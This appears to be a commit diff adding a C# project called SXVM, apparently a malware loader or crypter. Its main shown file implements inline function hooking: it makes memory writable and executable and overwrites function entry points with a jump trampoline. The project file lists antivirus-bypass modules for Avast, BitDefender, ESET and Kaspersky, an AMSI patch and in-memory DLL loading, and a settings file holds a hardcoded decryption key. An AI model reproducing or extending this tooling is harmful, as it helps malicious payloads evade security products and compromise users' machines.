extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
Generated
+30
@@ -0,0 +1,30 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
// Runtime Version:4.0.30319.42000
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace SXVM.Properties
|
||||
{
|
||||
|
||||
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
|
||||
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
|
||||
{
|
||||
|
||||
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
||||
|
||||
public static Settings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
return defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
+281
@@ -0,0 +1,281 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Reflection.Emit;
|
||||
using System.Reflection;
|
||||
using System.Runtime.ExceptionServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace SXVM
|
||||
{
|
||||
internal class SXVM
|
||||
{
|
||||
private enum AllocationProtectEnum : uint
|
||||
{
|
||||
PAGE_NOACCESS = 0x01,
|
||||
PAGE_READONLY = 0x02,
|
||||
PAGE_READWRITE = 0x04,
|
||||
PAGE_WRITECOPY = 0x08,
|
||||
PAGE_EXECUTE = 0x10,
|
||||
PAGE_EXECUTE_READ = 0x20,
|
||||
PAGE_EXECUTE_READWRITE = 0x40,
|
||||
PAGE_EXECUTE_WRITECOPY = 0x80,
|
||||
PAGE_GUARD = 0x100,
|
||||
PAGE_NOCACHE = 0x200,
|
||||
PAGE_WRITECOMBINE = 0x400,
|
||||
PAGE_TARGETS_INVALID = 0x40000000,
|
||||
PAGE_TARGETS_NO_UPDATE = 0x40000000
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct MEMORY_BASIC_INFORMATION
|
||||
{
|
||||
public IntPtr BaseAddress;
|
||||
public IntPtr AllocationBase;
|
||||
public AllocationProtectEnum AllocationProtect;
|
||||
public IntPtr RegionSize;
|
||||
public uint State;
|
||||
public uint Protect;
|
||||
public uint Type;
|
||||
}
|
||||
|
||||
private static uint ConvertProtectToFlags(uint protectValue)
|
||||
{
|
||||
switch (protectValue)
|
||||
{
|
||||
case 0x01:
|
||||
return 0x02;
|
||||
case 0x02:
|
||||
return 0x04;
|
||||
case 0x04:
|
||||
return 0x40;
|
||||
case 0x08:
|
||||
return 0x80;
|
||||
case 0x10:
|
||||
return 0x20;
|
||||
case 0x20:
|
||||
return 0x100;
|
||||
case 0x40:
|
||||
return 0x400;
|
||||
default:
|
||||
return 0x0;
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern int VirtualQuery(
|
||||
IntPtr lpAddress,
|
||||
ref MEMORY_BASIC_INFORMATION lpBuffer,
|
||||
IntPtr dwLength
|
||||
);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||
|
||||
[HandleProcessCorruptedStateExceptions]
|
||||
private static unsafe void WriteMemoryBlock(IntPtr Address, byte[] src, uint size)
|
||||
{
|
||||
if ((int)size > src.Length)
|
||||
{
|
||||
throw new ArgumentOutOfRangeException(nameof(size), "Size exceeds the length of the source array.");
|
||||
}
|
||||
else
|
||||
{
|
||||
uint OldProtect;
|
||||
VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect);
|
||||
try
|
||||
{
|
||||
void* dest = (void*)Address;
|
||||
for (int i = 0; i < (int)size; i++)
|
||||
{
|
||||
*((byte*)dest + i) = src[i];
|
||||
}
|
||||
GC.Collect();
|
||||
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||
}
|
||||
catch
|
||||
{
|
||||
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||
throw new AccessViolationException();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[HandleProcessCorruptedStateExceptions]
|
||||
private static unsafe byte[] ReadMemoryBlock(IntPtr Address, uint size)
|
||||
{
|
||||
if (Address == IntPtr.Zero)
|
||||
{
|
||||
throw new ArgumentException("Invalid memory address.");
|
||||
return null;
|
||||
}
|
||||
else if ((int)size <= 0)
|
||||
{
|
||||
throw new ArgumentException("Size must be greater than zero.");
|
||||
return null;
|
||||
}
|
||||
else
|
||||
{
|
||||
uint OldProtect;
|
||||
VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect);
|
||||
try
|
||||
{
|
||||
byte[] result = new byte[(int)size];
|
||||
void* src = (void*)Address;
|
||||
for (int i = 0; i < (int)size; i++)
|
||||
{
|
||||
result[i] = *((byte*)src + i);
|
||||
}
|
||||
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||
return result;
|
||||
}
|
||||
catch
|
||||
{
|
||||
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||
throw new AccessViolationException();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private class DelegateTypeBuilder
|
||||
{
|
||||
internal static Type BuildDelegateType(MethodInfo methodInfo)
|
||||
{
|
||||
Type[] parameterTypes = methodInfo.GetParameters().Select(p => p.ParameterType).ToArray();
|
||||
Type returnType = methodInfo.ReturnType;
|
||||
|
||||
return BuildDelegateType(parameterTypes, returnType);
|
||||
}
|
||||
|
||||
internal static Type BuildDelegateType(Type[] parameterTypes, Type returnType)
|
||||
{
|
||||
AssemblyName assemblyName = new AssemblyName("DynamicDelegateAssembly");
|
||||
AssemblyBuilder assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);
|
||||
ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("DynamicDelegateModule");
|
||||
|
||||
TypeBuilder typeBuilder = moduleBuilder.DefineType(
|
||||
"DynamicDelegateType",
|
||||
TypeAttributes.Sealed | TypeAttributes.Public,
|
||||
typeof(MulticastDelegate)
|
||||
);
|
||||
|
||||
ConstructorBuilder constructorBuilder = typeBuilder.DefineConstructor(
|
||||
MethodAttributes.RTSpecialName | MethodAttributes.SpecialName | MethodAttributes.Public | MethodAttributes.HideBySig,
|
||||
CallingConventions.Standard,
|
||||
new Type[] { typeof(object), typeof(IntPtr) }
|
||||
);
|
||||
constructorBuilder.SetImplementationFlags(MethodImplAttributes.Runtime);
|
||||
|
||||
MethodBuilder methodBuilder = typeBuilder.DefineMethod(
|
||||
"Invoke",
|
||||
MethodAttributes.Public | MethodAttributes.HideBySig | MethodAttributes.NewSlot | MethodAttributes.Virtual,
|
||||
returnType,
|
||||
parameterTypes
|
||||
);
|
||||
|
||||
methodBuilder.SetImplementationFlags(MethodImplAttributes.Runtime);
|
||||
|
||||
Type delegateType = typeBuilder.CreateType();
|
||||
return delegateType;
|
||||
}
|
||||
}
|
||||
|
||||
private static Delegate CreateDelegateBasedOn(Delegate originalDelegate)
|
||||
{
|
||||
MethodInfo methodInfo = originalDelegate.Method;
|
||||
Type delegateType = DelegateTypeBuilder.BuildDelegateType(methodInfo);
|
||||
return Delegate.CreateDelegate(delegateType, null, methodInfo);
|
||||
}
|
||||
|
||||
private MEMORY_BASIC_INFORMATION OP_MBI = new MEMORY_BASIC_INFORMATION();
|
||||
|
||||
private Delegate OP_STUB = null;
|
||||
|
||||
private bool Permanent_Hook = false;
|
||||
|
||||
private bool Exit_Hook = false;
|
||||
|
||||
private IntPtr Address_Hook = IntPtr.Zero;
|
||||
|
||||
private byte[] Original_Hook = null;
|
||||
|
||||
private byte[] OP_Hook = null;
|
||||
|
||||
private static void VM_EXIT()
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.GetCurrentProcess().Kill();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
throw new AccessViolationException();
|
||||
}
|
||||
|
||||
private void RestoreVMHook()
|
||||
{
|
||||
if (Address_Hook == IntPtr.Zero || Original_Hook == null || (uint)Original_Hook.LongLength == 0)
|
||||
{
|
||||
}
|
||||
else
|
||||
{
|
||||
WriteMemoryBlock(Address_Hook, Original_Hook, (uint)Original_Hook.LongLength);
|
||||
}
|
||||
}
|
||||
|
||||
private void AddVMHook()
|
||||
{
|
||||
if (Address_Hook == IntPtr.Zero || OP_Hook == null || (uint)OP_Hook.LongLength == 0)
|
||||
{
|
||||
}
|
||||
else
|
||||
{
|
||||
WriteMemoryBlock(Address_Hook, OP_Hook, (uint)OP_Hook.LongLength);
|
||||
}
|
||||
}
|
||||
|
||||
internal void Unhook()
|
||||
{
|
||||
RestoreVMHook();
|
||||
}
|
||||
|
||||
internal void Hook()
|
||||
{
|
||||
if (OP_Hook == null)
|
||||
{
|
||||
}
|
||||
else
|
||||
{
|
||||
AddVMHook();
|
||||
}
|
||||
}
|
||||
|
||||
internal void Hook(IntPtr Address, Delegate OP_HOOK, bool Permanent, bool Exit)
|
||||
{
|
||||
VirtualQuery(Address, ref OP_MBI, (IntPtr)Marshal.SizeOf(OP_MBI));
|
||||
OP_STUB = OP_HOOK;
|
||||
Permanent_Hook = Permanent;
|
||||
Exit_Hook = Exit;
|
||||
Address_Hook = Address;
|
||||
Original_Hook = ReadMemoryBlock(Address, (uint)22);
|
||||
Delegate CustomEntryPoint = CreateDelegateBasedOn(OP_STUB);
|
||||
GCHandle.Alloc(CustomEntryPoint);
|
||||
IntPtr ENTRYPOINT_PTR = Marshal.GetFunctionPointerForDelegate(CustomEntryPoint);
|
||||
uint oldProtect = 0;
|
||||
VirtualProtect(Address, (UIntPtr)11, 0x40, out oldProtect);
|
||||
Marshal.WriteByte(Address, 0, 0x48);
|
||||
Marshal.WriteByte(Address, 1, 0xB8);
|
||||
Marshal.WriteInt64(Address, 2, ENTRYPOINT_PTR.ToInt64());
|
||||
Marshal.WriteByte(Address, 10, 0xFF);
|
||||
Marshal.WriteByte(Address, 11, 0xE0);
|
||||
OP_Hook = ReadMemoryBlock(Address, (uint)22);
|
||||
VirtualProtect(Address, (UIntPtr)11, ConvertProtectToFlags(OP_MBI.Protect), out oldProtect);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{E1902815-B6DF-4BC8-94A6-C61A382FE83D}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<RootNamespace>SXVM</RootNamespace>
|
||||
<AssemblyName>SXVM</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
||||
<Deterministic>true</Deterministic>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<OutputPath>bin\x64\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<DebugType>full</DebugType>
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
<LangVersion>7.3</LangVersion>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<Prefer32Bit>true</Prefer32Bit>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
|
||||
<OutputPath>bin\x64\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<Optimize>true</Optimize>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
<LangVersion>7.3</LangVersion>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<Prefer32Bit>true</Prefer32Bit>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.ComponentModel.Composition" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.IO.Compression" />
|
||||
<Reference Include="System.Numerics" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="API.cs" />
|
||||
<Compile Include="Bypasses\Avast.cs" />
|
||||
<Compile Include="Bypasses\BitDefender.cs" />
|
||||
<Compile Include="Bypasses\Default.cs" />
|
||||
<Compile Include="Bypasses\ESET.cs" />
|
||||
<Compile Include="Bypasses\Kaspersky.cs" />
|
||||
<Compile Include="DllFromMemory.cs" />
|
||||
<Compile Include="HardwareBreakpointAmsiPatch.cs" />
|
||||
<Compile Include="HarmonyPatcher.cs" />
|
||||
<Compile Include="Hooks\EnvironmentExit.cs" />
|
||||
<Compile Include="Hooks\GetRawBytes.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Settings.cs" />
|
||||
<Compile Include="SXVM.cs" />
|
||||
<EmbeddedResource Include="Properties\Resources.resx">
|
||||
<Generator>ResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<Compile Include="Properties\Resources.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<EmbeddedResource Include="0Harmony.bin" />
|
||||
<None Include="Properties\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
|
||||
</None>
|
||||
<Compile Include="Properties\Settings.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup />
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@@ -0,0 +1,13 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace SXVM
|
||||
{
|
||||
internal static class Settings
|
||||
{
|
||||
internal static string DecryptionKey = @"yQquGVilLyQquGVilLVYkhwQZutOPIlAPpvWEMYXqifKLayQJkJEXfIiwZDVYkhwQZyQquGVilLVYkhwQZutOPIlAPpvWEMYXqifKLayQJkJEXfIiwZDutOPIlAPpvWEMYXqifKLayQJkJEXfIiwZD";
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user